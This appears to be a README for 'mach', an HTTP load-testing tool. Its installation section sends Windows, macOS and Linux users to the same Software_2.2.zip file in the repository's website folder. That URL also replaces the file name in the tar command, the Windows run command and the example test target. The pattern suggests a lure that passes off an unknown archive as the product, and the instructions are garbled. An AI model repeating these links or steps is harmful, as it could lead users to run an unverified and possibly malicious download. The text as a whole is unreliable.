Welcome to mach! This application allows you to test the speed and performance of your HTTP servers. Written in C and enhanced with optimized Assembly, mach provides you with an ultra-fast and reliable way to load test your web services. It supports both ARM64 and x86_64 architectures, making it adaptable to various systems.
- High Performance: Leverages both ARM64 NEON and x86_64 SSE for fast execution.
- User-friendly Command Line Interface: Simple commands enable easy testing without complex setup.
- Flexible Configuration: Customize request parameters to fit your testing needs.
- Easy Output Analysis: Clear and structured output helps you understand your test results quickly.
Before you start, please ensure your system meets the following minimum requirements:
- Operating System: Windows, macOS, or Linux (64-bit)
- Memory: At least 512 MB of RAM
- Disk Space: 50 MB of available space
- Network Connection: Reliable internet connection for testing HTTP responses
Follow these steps to download and run mach on your machine.
To get the latest version of mach, visit the Releases page.
On the Releases page, find the version you want to download. Click on the appropriate file for your system:
-
For Windows:
https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip
-
For macOS:
https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip
-
For Linux:
https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip
Click the file to start the download.
Once the download is complete, locate the downloaded file in your Downloads folder.
-
If you downloaded a
.zipfile, right-click on it and select "Extract All" (Windows) or double-click to open (macOS). -
If you downloaded a
https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zipfile, use the terminal and run:tar -xvf https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip
This will extract the content to a new folder.
Navigate to the folder where you extracted the files. Open a terminal (macOS/Linux) or command prompt (Windows).
To run mach, type the following command:
./machFor Windows, you may need to run:
https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zipYou should now see the mach interface ready to accept commands.
Here are some basic commands to help you get started with load testing:
./mach <URL> --requests <number_of_requests> --concurrent <number_of_users>To test a website with 100 requests and 10 concurrent users, use the following command:
./mach https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip --requests 100 --concurrent 10After running a test, mach will display results on the terminal. You will see:
- Total Requests: The number of requests your server handled.
- Success Rate: Percentage of requests that were successful.
- Response Time: Average time taken for requests to complete.
These metrics help you understand the performance of your server under load.
You can customize your tests with several advanced options:
--timeout <seconds>: Adjusts how long mach waits for a server response.--headers <key:value>: Adds custom headers to your requests.--data <data_string>: Sends data in the request body.
Explore these options to tailor your testing scenario.
If you encounter problems, consider the following:
- Check Your Connection: Ensure you have a stable internet connection.
- Confirm URL Accessibility: Make sure the URL you are testing is online and responsive.
- Look for Error Messages: mach provides error messages to help diagnose issues.
If you still need help, check out the Issues section on our GitHub repository for solutions or to report new issues.
You can stay updated with the latest news and development by following us on social media or joining discussions on GitHub.
Remember to visit this page to download mach: Releases page. Follow the steps outlined to get the application running on your system.
Enjoy testing your HTTP servers with mach!